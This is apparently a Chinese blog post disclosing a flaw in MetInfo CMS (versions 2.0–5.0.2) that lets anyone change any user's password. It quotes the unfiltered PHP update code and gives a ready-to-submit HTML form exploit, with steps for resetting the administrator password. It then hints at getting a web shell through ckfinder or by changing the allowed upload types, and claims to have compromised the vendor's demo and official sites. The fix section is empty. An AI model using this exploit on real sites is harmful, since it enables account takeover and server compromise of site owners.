博客刚换域名不久,需要点原创文章。。。蛋疼找了几套CMS玩玩。。。以前个别程序挖的洞提交到官方,有的爱理不理的,搞得都不想提醒官方了….礼物什么不说了,起码说个谢谢嘛。。。不废话了。。。

官网找了个简单介绍:

MetInfo企业网站管理系统采用PHP+Mysql架构,全站内置了SEO搜索引擎优化机制,支持用户自定义界面语言(全球各种语言),拥有企业网站常用的模块功能(企业简介模块、新闻模块、产品模块、下载模块、图片模块、招聘模块、在线留言、反馈系统、在线交流、友情链接、网站地图、会员与权限管理)。强大灵活的后台管理功能、静态页面生成功能、个性化模块添加功能、不同栏目自定义FLASH样式功能等可为企业打造出大气漂亮且具有营销力的精品网站。

先看看程序结构

\

安装以后如果没删除install,下面有一个phpinfo.php (install/phpinfo.php),可以看下服务器信息。

一、越权修改任意用户密码漏洞通杀2.0至最新5.0.2版本

看了下会员和管理员都在一个met_admin_table表,我们看到member\save.php文件,

<?php

require_once ’../include/common.inc.php’;

if($action==”add”){

if($met_memberlogin_code==1){

require_once ’captcha.class.php’;

$Captcha= new Captcha();

if(!$Captcha->CheckCode($code)){

echo(“<script type=’text/javascript’> alert(‘$lang_membercode’); window.history.back();</script>”);

exit;

}

}

$admin_if=$db->get_one(“SELECT * FROM $met_admin_table WHERE admin_id=’$yhid’”);

if($admin_if){

okinfo(‘javascript:history.back();’,$lang_js15);

}

/*省略不知道多少字。。。*/

没验证会员权限

这感情好(其他的还是过滤了的),再看下面的

if($action==”editor”){

$query = ”update $met_admin_table SET

admin_id = ’$useid’,

admin_name = ’$realname’,

admin_sex = ’$sex’,

admin_tel = ’$tel’,

admin_modify_ip = ’$m_user_ip’,

admin_mobile = ’$mobile’,

admin_email = ’$email’,

admin_qq = ’$qq’,

admin_msn = ’$msn’,

admin_taobao = ’$taobao’,

admin_introduction = ’$admin_introduction’,

admin_modify_date = ’$m_now_date’,

companyname = ’$companyname’,

companyaddress = ’$companyaddress’,

companyfax = ’$companyfax’,

companycode = ’$companycode’,

companywebsite = ’$companywebsite’”;

if($pass1){

$pass1=md5($pass1);

$query .=”, admin_pass = ’$pass1′”;

}

$query .=” where admin_id=’$useid’”;

$db->query($query);

啥都没过滤,我们直接提交一个表单就不搞定了么?写了个EXP

<form method=”POST” name=”myform” action=”?action=editor” target=”_self”>

<table cellpadding=”2″ cellspacing=”1″ border=”0″ width=”95%” class=”table_member”>

<tr>

<td class=”member_text”><font color=”#FF0000″>*</font>用户名 </td>

<td colspan=”2″ class=”member_input”> <input name=”useid” type=”text” class=”input” size=”20″ maxlength=”20″

value=”seay” ></td>

</tr>

<tr>

<td class=”member_text”><font color=”#FF0000″>*</font>密码 </td>

<td colspan=”2″ class=”member_input”> <input name=”pass1″ type=”password” class=”input” size=”20″

maxlength=”20″></td>

</tr>

<td class=”member_submit”><input type=”submit” name=”Submit” value=”提交信息“ class=”submit”></td>

</tr>

</form>

复制以上内容,保存为1.html,用户名那里填用户名(基本用户名都是admin),密码填你要修改成的密码,修改为网站域名,提交以下,网站默认后台地址为域名/admin

测试了下官方Dome站,成功修改创始人密码,看图

\

后台有个ckfinder编辑器(admin\ckfinder\ckfinder.html 这里就可以拿shell),IIS6.0或者阿帕奇的话之类解析洞的话,怎么拿shell你们懂得了。

\

后台有修改上传类型的地方,你们懂得,

\

修改了下,拿下了官网

\

好了,已经可以拿到shell了,

修复: